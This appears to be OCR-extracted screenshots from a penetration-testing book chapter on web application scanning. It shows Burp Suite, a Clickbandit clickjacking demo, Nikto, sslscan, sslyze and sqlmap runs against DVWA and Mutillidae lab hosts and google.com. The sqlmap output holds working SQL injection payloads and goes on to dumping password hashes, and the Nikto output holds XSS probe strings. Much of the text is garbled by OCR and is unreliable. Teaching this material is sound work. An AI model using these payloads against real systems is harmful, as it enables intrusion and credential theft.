
Requires Java varsian 7.

Author: Soroush Dall, NEC Group

Wersion: 2.3

nating: ek | Submitesting

intal |

Rafrash ist Marual nstall .
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Burp Inbruder Repaater Windaw Help

Target | Proxy | Spider | Scanner | Irtruder | Repeater | Sequences
[[1acvm [ proey [ spir | [ terudr [

Decader | Comparer | Extender | Project options

User options | Alerts | Loggert+

[ iew Logs | @ptians | About |

Status: Logger++ is running L Save log table as CSV

Scope; [ 1n scope kems only

Log From:

Save fill logs as CSV (slow)

o) antacs
Spder

(] introder

[ seanner

Rapaater
[ Sequencer
Prosy

(] Targe

Extander

Reset all settings Clear the logs

Column Settings: Right chck on the cokmng'’ headers

Note 1: Extensive logging may affect Burp Suite parformance.
fiote 2 In order ta save the data automaticall, use Options > Misc > Logging
Noke 3: Updating the extension wil reset the table settings.
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Sup Intruder Aepester Windaw Help

| [ Torast | Prowy [ soar | scanner | intruder | epastor | Secusncer | Decoder | Gomparar | Estandar | Project options | User options | Alets | Loaser++ |

Jsraron Lo |

| Fikar: Hidng et of scape and ot found items; hiding €55, image and ganaral binary contart; hiding 4xx responses; hiding ampty fokdars

T e htpi7z1563128 Contents Issue
vy

et | Mathod | URL Params| Sta. | Length | MIME type |
69128  GET  jdwnal ] WML |

[ hitp://172.16.69. 128 dvwa
Remave from scope

Actvely scan this branch
Pazsively scan tha branch

Engagement tools >
Compara site maps

Expand branch

Expand requasted tarms

Delete branch

=

Copy URLS in ths branch
Copy ks in the branch

HITR/L L i
Save selected ftems EHITEA L
Iz >
View [ e
Show reew site map windom el
Site map halp.
.
v
P 2 saarch term 0 matchas
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Burp Intruder Repeater Windaw Help

[ rarqet | Froy | seicer | Scanner | irtruder | Rapaster | sequencer | Decoder | comparar | Estandar | Projuct options | user cptions | Alets | Loggart+ |

| [ wiewLags | optans | About |

” | Todl | Host Mathad | URL Params |Status | Response Length MIME type Extersion | Commark
8]
2 Soider Ittp1172 16.69.128 GET Irobets et ] 404 202 HTML tat
2 Spiddar http(172 16.69.128 Ger IBhpMyAdminthamasoriginalimal o 200 22082 HIML
4 Spider hittp 172 16.69. 128 GET IphpyAdminthemes/originalime! o 200 22483 HTML
5 Seicer http{172 16.69.128 GET ohphyAdminthemesioriginal (] 200 1678 HIML
s Sider 172 16.69.128 GET Iphpryadminthemasioriginal o 200 1678 HIML
7 Spicer http/172 16.69.128 GET 408223 ] 404 289 HTML
& Spiddar httpdi172 16.65.128 GET IehpryAdminiindax. php (=] 200 2283 HIML o
5 Soider htt1172 16.69.128 POST IohphyAdmiindes.php o 200 3283 HTML whe
10 Spidar http172 1668 128 GET IphpryAdminthemas/original o 200 1678 HIML
1 Spicdar httpli172 16,63 128 GET iphphyAdminthemes/ O 200 s HTML
12 Spider http 172 16.69 128 GET iphph yAdimijthemes/originalimgl o 200 283 HIML
13 Sider Witpli172 16.69.128 GET IphpMyAdminiphemyadrmin css php (] 200 EES] =5 i
1 Spicker http 1172 16.69.128 GET 1739296k T1cTe (] 404 208 HIML
15 S pidar hitpi172 15,65 128 GET 17 TEScanacln35cEs T TOaTS 41325 (] 404 14 AL
16 Spicer http 172 16,69 128 GET iutildsei?page=user-info php =] 200 23087 HTHL
17 Seicdar httplf172 16.69.128 GET IphpryAdminthemas/ (] 200 s HIML
18 Spider 1172 16.69.128 GET kil (] 200 782 HTML
13 Spicder httpf172 16,65 128 GET irruitiicaei?page= vien:sormeones-blog phe o 200 23885 HIML L
20 Sider httpi172 16,69 128 GET druitiliclanaistylesl o 200 1123 HTHL [
-l 7 T
| Request | Reswanze
[ Ram Pararrs | Headars | Hex |
GET /phphyAdmin/thenes/ HTTP/1 1 N
Host: 172.16.69.128
Accept: %/
Accept-Language: en
User-Agent: Mozillass.0 (compatible; MSIE 9.0; Windowvs WT 6.1; WinB4; x64; Trident/S.0)
Connection: close
Cookie: pra_langmen-utf-8. pma_charset=utf-g 7 3; pmaliser-1=EpVLiNaFEydA0; pua_f PHPSESS: 4FbFace8ef 247367h2; usernanesaduin; widel?
v
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Burp Intnuder Rapaster Window Halp.

[ arast | Froxy | spider | Seanner | irtruder | Rapsstor | Swauencer | Decoder | Gomparar | Estander | Prisct options | vasr options | Alerts | Loggert+ |

[ e e

# | Tme & Acton Issue type Hast ath Insertion pornt | Severty Confidence | Comment
34 0833227Mar2017  lssue found i HTML dous not speciy charset Fitpdivmsrsjython org  llythenircLogin bl Information  Cartan

3 0833227Mar 2017 lssue found i Frameatle lickjacking  Hetpedfrrwn.fythan Idevelopar htm Informatien  Firm

36 0833227 Mar 2017 lssue found i HTML does not specify charset Hetpcffmmre pthan org  [developer htm Information  Certan

37 0932437 Mer 2017 lssus found i Framesble responss (potectial Clkjacking)  HEpUT2 1669138 [dvwallogin phpr Informaton  Fim

3 0332437Mar2017  lssumfound @ Cleartext submission of passwerd MtpiT216.69138  Idvwalloginphp High Certan

3 0332437Mar2017  Issue found Path-ralativa styla shest import Mgl 721669128 Jdvwalloginghp Information  Tantative

40 0S3INLTMar 2017 lssue found | Frameable respanse (potential Clckjacking)  Fttpf17216 63128 fdaf Informaton  Frm

41 CEIRLLTMar 2017 lasue found i Directory hsbng Fitpdf17216.69128  [dawf Informaton  Frm

42 0333297 Mer2017  lasue found i Frameable response cpmm»l Clekiscking)  Mtplil7216.69128  Idvwaiindex php Information  Firm

43 0333297 Mar 2017 Issue found Path-ralative style sheet imy It 721663128 Idvwarindes php Information  Tentative

44 0338337Mar017  Issue found | Framaatle rm:m‘u:mw Pitpli17216.69128 | jrusilidasiir aming phe 1 Information  Fim

45 0834537 Mar 2017 lssue found i HTML doss not specify chars Fitpdl72 1668128 jmusilidastiraming che Information  Cartan

46 0335277 Mar 2017 iasue found i Frameatle responze cumu Clekiacking)  ttpfl7216.69.128  Jrrus Informaten  Frm v

I/

i Frameable response (potential Clickjacking)

Issue Frameable response (potential Clickjacking)
Severty:  Information
Canfidence: Firm

Hast httpi//172.16.69.128
Path imutillidaeframing. php
Issue description
If & page fals to set an o C slley HTTP hasder it might be passile for & page cortsolied by n attickar to losd it within an iframe. This may snable a clckiseking sttack i which the sttacker's pags suerlays the target
sppleatorts eeriace vt o Gffrert iy the attacker users o perform actions such as mouse dicks and keystrokes, the sttacker can cause them to unwittingly cary out actions within the spplication that is being targeted Tha
the attadker to dreumvent def o crass-site request forgery, and may resuk in uneutherized actons
ek from wrkthin the HTML page kself, usng *framebusting” code. However, this tyne of defense is normaly neffective and can usialy be circumverted by a skiled attacker.

¥ou should determine whether any functions acceasble within framesble pages can be used by application users to perform any sensive actions withn the sppication.

Issue remediation

Ta affsctivaly gravent framing attacks, the application should return a respensa haader with the nams X-Frame-Optians and tha valus DENY ta prevant framing shogsther, or the valis SAMEORIGIN ta alow framing cnly by pages on tha sam origin a5 the
raspanse tsel, Note that tha SAMEDRIGIN headsr can be partially bypassed if the appication tself can be mads to frame untrusted webstes

Reforancas

® X-Frame-Optisns.
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B rircer Rapazer window Halp

Search fnar. | irtruder | Rapaster | sequencer | Decodsr | Comparer | Extander | Projact sptions | User cptions | Alarts | Laggar++ |
o
| ::;::;! e scanning | Izzue defintions | Options
| Promct options ®n Izzue type Hast | Path Insertion part | Severky Confidence | Comment
Usar options * L found § HTML does net spacify charset g ffeniss jyehanceg  (lythenireLesgin htrml Infarmation Cartain
Passwards & found i Frameable respanze (potential Clckjacking]  hetpsifwww,jyehon ceg  (developer htm information  Fim
Fename project found i HTML does ot specify charset hitpffmm jpthon org  [developer him Informeton  Certan
s Rk fourdl i Frameable response (potential Clikiacking]  Wtpurl721669128  fdvmalloginshp Informetion  Fim
found b Claartext submission of passwerd MtpU721665128  jdvwalioginphp Higl Cartan
found P st ralativa styla sheat impart p72 1669128 Idvmalloginghp Information  Temtative
Burp Collaborator chert: fourd i Framaatle responze (potential Clckjacking]  hitpif17216.69128  jcdanl Infarmatin m
= fourd i Directory listing hitp1721669.128  fdavi Information  Fam
found i Framesble resporse (potentisl Clckiackingl  WitpU17216.69128  jdvmalindex phps Informeton  Fam
93 033329 7Mar 2017 tssus found P e relative style shest impart W72 1669128 (dvwaiindss php Infarmation  Temtative
44 053483 7Mar 2007 Issum found i Framaable rasponsa (potential Clckjacking]  hitpr17216.69128  jmutilidaatframing php Information  Firm
45 053453 7Mar 2017 tsmue found i HTML does ot specify charset hitpf17216 69128 jmuiilidasiraming php Information  Certan
|46 09:35:27 TMar2017 Isue found i Frameable responze (potential Chekjacking] _ hitpif17216,69.120  jmublidasirene-magréte che Informetion__Fam

| [ Advisory | Recuest | Response |

i Frameable response (potential Clickjacking)

Issue
Severty  Information
Canfdence: Firm

Host hktp://172.16.69.128
Path: imutilidae/framing.phe.
Issue description

1f & page fails to set an hcy HTTP haader, t might be possble for & page cortrolled by an sttacker o losd & within an iframe. This may ensble s cickjacking sttack, 1 which the attacker's page overlays the target
appleation's interface mith 4 d.fr«em r-mfmnrwded by the attacker. By induting victim users to perform actions such as mause dlicks and keystrokes, the sttacker can cause them to unwittingly carry out actions within the application that is being targeted Tha
techniaue allows the sttacer to circumvert defenses aganst cross-site request forgery. and may resut n unsuthorized actons.

HNate that some appliations attempt to prevent these attacks from mikhin the HTML page kself, using *framebusting” code. However, this type of defense is normaly neffective and can usualy be circumverted by a shiled attacker.

“ou should determine whether any functions accessble within frameable pages can be used by application users to perform any sensitve actions within the appication.
Issue remediation

To wfactivaly pravant framing attacks, the applicatian shoukd retum a respense headar with the name X-Frame-Options and tha valus DENY to praver framing sltogather, o the vakis SAMEORIGI ko alan framing only by pages on the same origin =s the
respanse itsef, Nete that the SAMEORIGIN headsr can ba partially bypassed if the applcation itself can be mads ta frame untrusted wabstes

Referancas

® xFrame-Ogtions
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ameinstalldruntire nche
Burp Suite Pre 719 - Temporary Praject - licensed to Michael Hixan [single user license]
S———

o e e e e o |

| tsmas activity | 5cn e | wove scanring | 1asue definkisns | options |

4] Adion sz type Host Path Sevarky
Mar 00T b found | charset it ooy Byt egi et leermation
P 3017 byman found e remeras ot i) Hipmmithanng  evdap -

imaTound | HIML ous ot spaciy charset repan o o 'dunﬂn(rm

ssus fo aable raspoeran (petanbal Caciaceing) ety [r——

smue found @b Clasrtast submission of pastwerd et Tdvmatogn e

sz found Path-ralative style sheet impart PEpILT 16,63, Hvmallagin ghe

ssue found sable rasporas (potanbal Cicjacting) davi

Burp Clickbandit

33450 7 st 2007 Frarmed _ )
09:34.23 7 Mar 2007 ? p Clickbandi

aLrp ikt sl fo ganwsatig cijecking atacks When you e ourd s e page tha sy be winarate o cciacing
o can ume Burp Clckbarch te creste an stkack and conrrm bk the vuerskit, e

BLrp Clckbandt runs i your browser using | WaSETEE. 1t morks cn all modem browsers axcept for Microsoft IE and Edoa. To nnBurn
chl e the e waps

3 Chckthe Copy Clkbarnd to dpbosd buston belm. his nll comythe Chckbends: st to your chpboard

2 inyour . vkt s page ok you ekt .t ey

3 i your brovraer, cpeen tha el devalope . Thia night alia b cabed “devalopar toss” or JavaScript consck®
« Fastethe Cickhandt 5ot Ptothe wab developar consols. and oress rker.

S tha dscvrnantation fer mars debads on using Burp Clekbandd
{7172.16.69.128
(stillidive, Framing, php

Issue deseription | Copy Chckbiandi ta choboard |
118 pagu i o wak an apprageiate H-F rame-0ptior o C| b aktack, in mhich the attacksr's pigs cvarlays the targat
sovbcaton's terfacs ki ifarant e face provied it actions wtiin the asskation that is beng targsted. This
tachricpss aliows the sktackar to crervant

Note that some spsdcations attemt to prevert these att{ ke by 2 shled attacker,

Vi shaukd debarmring mhathar sy functisrs aceassble ml

Issuw rumudiation

ctavly prevert framing attacks, the appicaton should retum  respanse header mith the name X-Frame-Options and the wakis DENY ta prevert aming sktogether. ar the vakis SAMEORIGIN o slaw frarming orfy by ages on the same arign as the
Noka that tha SAMEDRIGIN hder €30 b s i tha sppleaten bsalf ean ba st to frama unts it wabstas.

(-

® K FramnOptises
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hup/f172.1.. framing.php = | #
€ 172.16.69.128 = wa + @
%7 Most Visited v [l Offensive Security %, Kall Linux %, Kall Docs " Kali Tools EExploit-DB W Alrcrack-ng

Page Viewer
P

N i Back

Click on portion of picture to enlarge
Starting with the mouse off of the picture, move the mouse over the picture, then click to enlarge a portion of the picture.

Giant Invisible Click-Jacking Button
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Mazilla Firefox ®ee0 0
hittp://172.1. ramingphp % | &
€ 172.16.69.128. - 4E O+ A

B Most Visited v [l Offensive Security ' Kali Linux " Kali Docs W Kali Tools EExploit-DB W Aircrack-ng % cut W Copy

Page Viewer
= 100% +

<IL§ Back
O b [ ]

Click on portion of picture to enlarge New Window  New Private Save Page

Window
Starting with the mouse off of the picture, move the mouse over the picture, then click to enlarge a po
i O @
Print History Full Screen
Find Preferences Add-ons

s . A @

Developer Synced Tabs  Cookies Man-
ager+

€2 Sign in to Sync

E3 Customize e 0

Giant Invisible Click-Jacking Button
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/ hp:/f172 1. Mraming.php x | %

(%) @ | 172.16.69.128/mutillidae/framing. php

i tE 9 3 A =

EfMost Visited v JlJOffensive Security 8, Kall Linux 8, Kali Docs ", Kali Tools [BExploit-DB W Alrcrack-ng

gaeUrPcLickeanD (G Record mode g

[ Disable click actions

Page Viewer

<a Back

Click on portion of picture to enlarge
Starting with the mouse off of the picture, move the mouse over the picture, then click to enlarge a portion of the picture.

v
R | O Inspector [JEIEIEECI © Debugger | (} Style Editor @ Performan.. | = Network H- = B #&0¢& x
s Net ® CSS e JS ©Logging - @ Server Clear A Filter output
b N
iframe. contentWindow. location = locations'';
start();
1]
window.clickbandit = {mode: 'record’, finish: finish, version: . disableClickActions: false}:
window. addEventListener('DOMContentLoaded", ready, false);
if(document . readyState === 'complete’) {
ready()
H);
& true v
I —— ]
3|
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[/ datatextm. comaRspg== = | #

[ ) (0 datatext/html:base64,PGIvZHK+CpkaXYgaWQ9ImNvbnRhaWSlcilge IRSbGUSImNsaXAtc GF0aDpub25I02ZNsaXABYKVO | © | Q Search T8 O ¢ & =

fMost Visited v [fJOffensive Security S Kali Linux " Kali Docs % Kali Tools Exploit-DB Wy Alrcrack-ng

cEmoo Review mode @ |

g1 URrcLIckeanor (§ @)

on portion of picture to enlarge
ng with the mouse o picture, move the mouse over the picture, then click to enlarge a portion of the picture.

You've been clickjacked!

.
® O Inspector [JNEIEICNN © Debugger | () Style Editor @ Performan.. | = Network B-® B %00 x

& Net ® (S5 - @ JS - eSecurity - ©logging - @ Server - Clear 4. Filter output
» The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document contains characters  data:PGIvZHKC ).
from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.

4 Use of captureEvents() is deprecated. To upgrade your code, use the DOM 2 addEventListener{) method. For more help http://developer.mozilla.org/en/docs follow-mous... :7:9
;element . addEventListener
» Load denied by X-Frame-Options: http://172.16.69.128/nutillidae/index. php?page=rene-nagritte.php does not permit framing. <unknowr>
»
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Chapter 9: Web Application Scanning

File Edit View Search Terminal Help
-# nikto -host google.com -port 443 -ssl
- Nikto 1.6

Target IP 209.85.232.1
T et Hostname: google.com
Target Port: 443

Subject: /C=US/ alifornia/L=Mountain Viey Google Inc/CN=*.google.com
Ciphers: ECDHE-ECDSA-CHACHA20-POLY1305
suer /0

oogle Inc/CN=Google Internet Authority G2

Server: gws

Uncommon header 'alt-svc' found, with content quic=":443"; ma=2592000; v="35,34"

The site uses SSL a the Strict-Transport-5S rity HTTP header is not defined.

e X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a d

ifferent fashion to the MIME type
+ Root page / redirects to: https://www.google.com/
+ No CGI Directories found (use '-C all' to force check all possible di
+ Server banner has changed from 'gws' to 'sffe' which may suggest a WAF, load balancer or proxy is in place
+ Cookie NID created without the ure flag
+ Server is using vildcard certificate: *.google.com
+ Allowed HTTP Methods: GET, HEAD

File Edit View Search Terminal Help
:~# nikto -host 74.125.143.101 -port 443 -ssl -vhost www.google.com
2.1.

Target IP 74.125.143.101
Target Hostname: 74.125.143.101
Target Port: 443

Virtual Host: www.google.com

SSL Info: alifornia/i untain View/0O=Google Inc/CN=*.google.com

Ciphers: ECDHE-RSA-CHACHA20-POLY1305
Issuer: /C =Google Inc/CN=Google Internet Authority G2
Start Time 2017-02 § -5)

Server: gws

Cookie NID created without the secure flag

Uncommon header 'alt-svc' found, with contents: quic=":443"; 502000; v="35,34"

The site uses SSL and the Strict-Transport-Security HTTP header is not defined.

The X-Content-Type-Options header not set. This could allow the user agent to render the content of the site in a dl
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File Edit View Search Terminal Help
:~# nikto -host 172.
- Nikto v2.1.6

.69.128

r .69.128
Target Port:
Start Time:

: Apache/2
Retrleued -powered

3] \ .
{-XS5- Protectlon header is not defined. This header can hint to the user agent to protect against some forms of XSS
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a di
fferent fashion to the MIME type
+ Uncommon header 'tecn' found, with contents: list
+ Apache mnd negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://
ctou.php?id=4698ebdc59d15. The following alternatives for 'in were found: ind php
8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are a

Web Server returns a valid response with junk HTTP methods, this may cause false positives.
0SVDB-877: HTTP TRACE m d is dttlJE gge g host is wulnerable to XST
/phpinfo.php? cr 3 "Vu le' )</ ipt>: Qutput from the phpinfe() function was found.
05VDB-3268: / 1 Directory indexing found.
0SVDB-48: / y / derCtOlf is browsable. This may be /usr/doc.
0SVDB-12184: / PHPBoBﬁFjAD 3(92-11d3-A3A9-4C7BOBC1E0OGO: PHP reveals potentially sensitive information via certain
requests that contain specific QUERY strings.
+ 05VDB-12184: /7=PHPE9568F36- 8-11d2-A769-00AAB01ACF42: PHP reveals potentially sensitive infermation via certain
requests that contain specific QUERY strin
+ 0SVDB-12184: /7=PHPE9568F34-D428-11d2-A769-00AAB01ACF42: PHP reveals potentially sensitive information via certain
requests that contain specific QUERY strin
+ 0SVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive infermation via certain
requests that contain specific QUERY strin
+ 0SVDB-3092: /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited t
o authorized hosts.
+ Server leaks inodes via ETags, header found with file /phpMyAdmin/Changelog, inode: 92462, size: 40540, mtime: Tue Dec
9 12:24:00 2008
/phpMyAdmin/ChangelLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to au
thorized h
0SVDB-3268: /test/: Directory indexing found.
0SVDB-3092 st/: This might be interesting...
/phpinfo.php: Output from the phpinfo() f tion was found.
0SVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of syste
information.
0SVDB-3268: /icons/: Directory 1nde&lnq found.
/phpinfo.php?GLOBALS[test]= ipt>alert(document.cookie /script>: Output from the phpinfo() function was found.
/phpinfo.php? 1=DOPxGZOdEUDgodkYa7 TWkuvidsQdRPcrEuW8hzGuLTm5qYjw3msA9dznksvn1CRkpjdI7jMn1bBI8ToT1IPIo507DANRQYyLVT7SLKZ)
CSFW2LAhTA2wA37aZwiOMIGAEJAHMIHILZ12)281uBRNFotx1C] 8ewWS1wNi9iN3c33IAKXx9urSXvIPqBS0d2) fsu72pl «BcAIIAhnOr93G1TNzGLUeZQ
27WKSCOS6IhXISCrecLgEqaf0TmEaR8707e7Tyyt2DTbpGOmIOC64r3sEXdUP1I2BHAWSWWNAVToftcOnkOMBNOBTPY XL9pZ5GNrGiFY7KG8hgmmhal
qBrkHKEhhFzCSMiWF9yMwjPjyzVSY3gZ fPpQ7NFoVDIPOuNbswVICZgH rwugMIQ3UO0DwwRIfByFCOCvLdIu3v rwDMuueObvusmoxiZpIwnd1TmUQZTcyX0Ys
yglDakR4tRpMhrCe54zc2zImehjWNm3cqWviCDmdqETbSZG2cIwFm7Kky jVNSIQOYS0rBXtIs0x88rV8rnXTGs3GTRO7 rvBUPsTelbeNWFoMBC3cOWe2yplxp)
EBtPaPZlvjdvvFKDbMSUT53wkgvB27XeAB30Z05NYb7150ZvzI62hEMrRGRXXVESSveH0Txmoo02jXmj QWi 206cBCxPDAY16p8zGUInreHqnI9UBrXNFEEYL
2YZeM21NoCUrXBsnMIzt5c9z9MKELrg4 qYodbid5qd2k7iRmrFDDpkcxdbYFGFBQqLOBGWx3DMwt2800B2120QnDEKVArsSbkNP r14np@MBFFfOf
Rn2CGzJZCHhJHMOTFE2h2UV4elyPzdtR7Ay4HXS95hPxeSt783bk9eBx34CRTmt fyqlLbTIRGbOue j j KCLECSIK5ItyY rPxN7PvpRzKTAUMIFevROXmI1AADA|
IoB8Yvyt 79DBTGNBNDJIYDLPbUh84SHIDZUWCINYuMXx07vbgW7y4CjIIdGYmuRcnMz3bTQ4gDIPdGV2PZG2FaT8dsX6bumNkKcyWwWMSE lyNHgouGugPx]s|
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File Edit View Search Terminal Help
:~# sslscan google.com

Version

OpenSSL 1.8.2k-dev  xx XXX xxxx

Testing SSL server on port
TLS Fallba

Server upport TLS Fallback SCSV
tiation

sion renegotiation supported

TLS Comp
Compression

Heartbleed
to heartbleed
to heartbleed
to heartbleed

Cipher(s):
bits
bits
bits
bits AES128- SHA

ECDHE - RSA-AES256 - SHA
5256-GCM-SHA384

DE B( SHA
ECDHE-RSA-AES128-
AES128-SHA

ECDHE -RSA-AES256
AESESh SHA

ve
2
2
2
2
2
2
1.2
2
1
1
1
1
1

ECDHE- RSA AESl“P-
AES128-SHA
ECDHE-RSA-AES256-5
AES256-SHA

I Algorltnm
Strength: 2048

*.google.com
* aooqle com, DNS android.com
lyti

*_google. ca,

tr, DNS:*.goog
e.nl, DNS
levideo.com,

ien

uoulr com, DNS googlec cmmclg
education.com
Issuer: Google Internet Authority G2

Not valid before:
Not valid after:

pt DNS '.gaouleadnpls com, DN

Curve
Curve

Curve
Curve

Curve

Curve

Curve

Curve

nugLeLDmmerc
1.com, DNS
com,
ogle NS » DNS:goo.gl,
DNS :www.goo.gl, DN; yuutu be, DNS:youtube. com DI

File Edit

Accepted

Search Terminal Help

ECDHE- RSA AES]Lu—bHA
AES128-GCM-SHA256
AES128-SHA

ECDHE-RSA-AES256-SHA
AES256-GCM-SHA384
AESZ56- SHA

] '. (

AES128-SHA
ECDHE-RSA-AES256-SHA
AES256-SHA

e R R R N RN

AES128-SHA

ECDHE-RSA-AES256 - SHA

AES256-SHA
( SHA

P-256 DHE 2

P-256 DHE 256
e P-256 DHE 256

e P-256 DHE

e P-256 DHE

of
tatic.com, DNS:*.urchin.
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File Edit View Search Terminal Help
:~# sslscan google.com | grep Accepted | grep 256
Accepted TLSvl.2 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
TLSv1 bits AES128-GCM-SHA256
TLSv1. bits Curve P-256 DHE 256
TLSv1. bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
TLSv1. bits AES256-GCM-SHA384
TLSv1 bits AES256-SHA
TLSv1. bits SA-AES256-SHA Curve P-256 DHE
bits
T bits ECDHE RSA-AES256-SHA Curve P-256 DHE
bits AES256-SHA

2
.2
2
2
2
.2
1
.1

File Edit View Search Terminal Help

:~# sslscan --starttls 172.16.69.128:25
Version:
OpenSSL 1.0.2k-dev

Testing SSL server on pert

TLS Fallba
Server support TLS Fallback SCSV

TLS
Session

to heartbleed
to heartbleed
to heartbleed

Cipher(s):
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File Edit View Search Terminal Help

yze google.com

AVAILABLE PLUGINS

a pression
PluginHeartbleed
PluginOpenSSLCipherSuites
PluginCertInfo
PluginChromeShalDep
P 5
Plugin
Plugin

CHECKING HOS

google.com: 4.

Compression:
- Compression disabled

Renegotiation:

0K - Rej

=> 209.85.232.101:443

cted

0K - Supported

Common Name :
1 .

*.google.com
Google Intern

Authority G2

254449D8CE2

Not After:

Signature Algorithm:
Public Key Algorithm:
Key 5iz

Exponen

"+.google
"*.url.google.com’

‘android.com',
oglecommerce.com', 'urchin.com', 'www.goo.gl

* Certificate - Trust:
Hostname Validation
e CA Store (89/2
6 CA Store (Update 6
Microsoft CA Store (09/2015):
Mozilla NSS C re (09/2015):
Annle (A Stn { 1A _1A_51:

17 GMT
17 GMT

ndroid.com’, '
‘*.google.co

u
“* gvtl.com',
"*_ youtube-nocooki e
droid.goog
'youtube.com’,

'g.co', google-analyti

'developer
'youtubeeducation.com’]}

'youtu. '

Subject Alternative Name matches
Certificate is trusted

. t -9
Y . '* youtubeeducation.com',

m',

Terminal Help
--tlsvl 2

1-SH

File Edit View Search

AES256-GCM- SH
ECDHE-RSA-AES12
ECDHE-RSA-AES12

"256 bl
H-

256
128
128

ECDH-256 bits
ECDH-256 bits
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File

File Edit View Search Terminal Help
:~# sslyze google.com --compression

AVAILABLE PLUGINS

PLuginHSTS
PluginCompression
PluginSessionResumption
PluginSessionRenegotiation
PluginCertInfo
PluginOpenSSLCipherSuites
PluginHeartbleed
PluginChromeShalDeprecation

CHECKING HOST(S) AVAILABILITY

google.com: 443 => 209.85,232.138:443
SCAN RESULTS FOR GOOGLE.COM:443 - 209.85.232.138:443
* Deflate Compression:

0K - Compression disabled

SCAN COMPLETED IN ©.25 S

Edit v Search Terminal Help
:~# sqlmap -u "htt /172.16.69.128/dvwa/vulnerabilities/sqli/?id=x&Submit=Submit#" - -cookie="security=low; PHPSESSID=85e8b50

Seafbcb1d3909e975d81279¢6" --risk=3 --level=5

['1

http://sqlmap.org

legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibili

ty to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or dama
ge caused by this program

[*1

starting at 09:21:44

sqlmap resumed the following injection point(s) from stored session

Parameter: id (GET)

Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id=1' OR NOT 4869=4869-- 1VyY&Submit=Submit

Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND ROW(1686,5222)>(SELECT COUNT(*),CONCAT(8x71627a6271, (SELECT (ELT(1688=1688,1))),0x71717a7171, FLOOR(RAND(8)*2))x|

FROM (SELECT 1203 UNION SELECT 2553 UNION SELECT 9852 UNION SELECT 9257)a GROUP BY x)-- fkgX&Submit=Submit

Type: AND/OR time-based blind
Title: MySOL »= 5.8.12 AND time-based blind
Payload: id=1' AND SLEEP(5)-- MesF&Submit=Submit

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1"' UNION ALL SELECT NULL,CONCAT(6x71627a6271,0x46635351495a4e6d7554566e4d5662436a696cb616e4e48744763755154764376586b4bb)

86253624e,0x71717a7171) -- ThgO&Submit=Submit

[09:
web
web
back-end DBMS: MySQL >= 4.1

21:45] [INFO] the back-end DBMS is MySQL
server operating system: Linux Ubuntu 8.84 (Hardy Heron)
application technology: PHP 5.2.4, Apache 2.2.8

shutting down at ©9:21:45

~# 1




File Edit View Search Terminal Help

Submit=Submit#" --

['] legal disclaimer
y to obey all appl
ge caused by this progr

of sqlmap for attacking tnrgctr without

ocal, te and federal 1z elopers assume no liability and

g at 09:23:49

following injection point{s) from stored session:
id (GET
buolenn ed blind
-based blind - WHERE or HAVING clause (NOT)
" OR NOT 4869=4869-- 1VyY&Submit=Submit

Type: erro
TLTlﬁ MySQL 4.1 AND er
AND ROW (16! SELECT COUNT

2
UNION SELECT 2553 UNION SELECT 9

WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
*),CONCAT(8x71627a6271, (SELECT (ELT(168

ror-based -
5.

d blind
2 AND time-based blind
SLEEP(5)-- MesF&Submit

UNION query (NULL) - 2
UNION ALL SELECT NULL,CO
1717a7171) - - fbgO&Submit=Submit

d DBM: MySQL
Linux Ubuntu 8.04 |Hard, Heron)
: PHP 5.2.4, Apache 2.2.

23:49] [INFO] the back
server operating sy
1

-end DBMS: MySQL

information_schema
etasploit

m,su'l

owasple

tikiwiki

tikiwiki195

shutting down at @

-# 11

prior mutual consent is illegal.
re not responsible for

2 UNION SELECT 9257)a GROUP BY x)-- fkgX&

cooki PHPSESSID=8

It is the end 5 lerpnn51h1l1

misuse or

7637551547643
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File Edit View Search Terminal Help

# sqlmap -u "http
9e975d81279¢6" -

bmit#" --cook ity PHPSESSID=85e8b50Mg

prior mutual consent is illegal. It is the end user's responsibili

[!] legal disclaimer: Usage of sqlmap for attacking targets without
assume no liability and are not responsible for any misuse or dama

ty to obey all applicable local, state and federal laws. Developers
ge caused by this program

[*] starting at 09:24:45

sqlmap resumed the following injection point(s) from stored session:

p .bﬂalean-h d blind
Title: OR boolean-based blind - WHERE or HA\’INb clause (NOT)
- ; - W b

id=1' OR NOT 4

- WHERE, HAVI ORDER BY or GROUP BY clause (FLOOR)
ELECT rUIJNTf‘ OMCAT (8x71627a6271, (SELECT IELTf15
NION SELECT 9257)a GROUP BY x)-

-based blind
5.0.12 AND time-based blind
' AND SLEEP(5)-- MesF&Submit=Submit

Type: UNION query
i eric UNTON query (NULL) - 2 column:

351495a4e6d7554566e4d56 616e4e48744763755154764376586b4b6|

end DBMS is MySQL
Ubuntu

| guestbo

+
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File Edit View

Seafbcb1d390

Search

Terminal Help

ubmit=Submi

t prior mutual consent

--C00Kie="security=low; PHPSESSID=85e8b50

It i _responsibili

illegal

sume no liability and are not respo
[*] starting at €9:2

sqlmap resumed the following injection point{s) from stored sessien:

boolean-based blind
OR boolean-based blind - WHERE or HAVING clause (NOT)

id=1" OR NOT 4869=4869--

a
(

FROM

Type:
Title AND time-based blind

EEP(5)-- MesF&Submit=Submit

UNION query
G UNION query (NULL) - 2
=1" UNION AL
71717a7171) - - fbgO&

25:34] [INFO] the back-end DBMS is MySQL

ver operatin Ubuntu 8.04 (Hardy Heron)
web application techn

-end DBMS: MySQL

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

Y
what dictionary do you want to use?

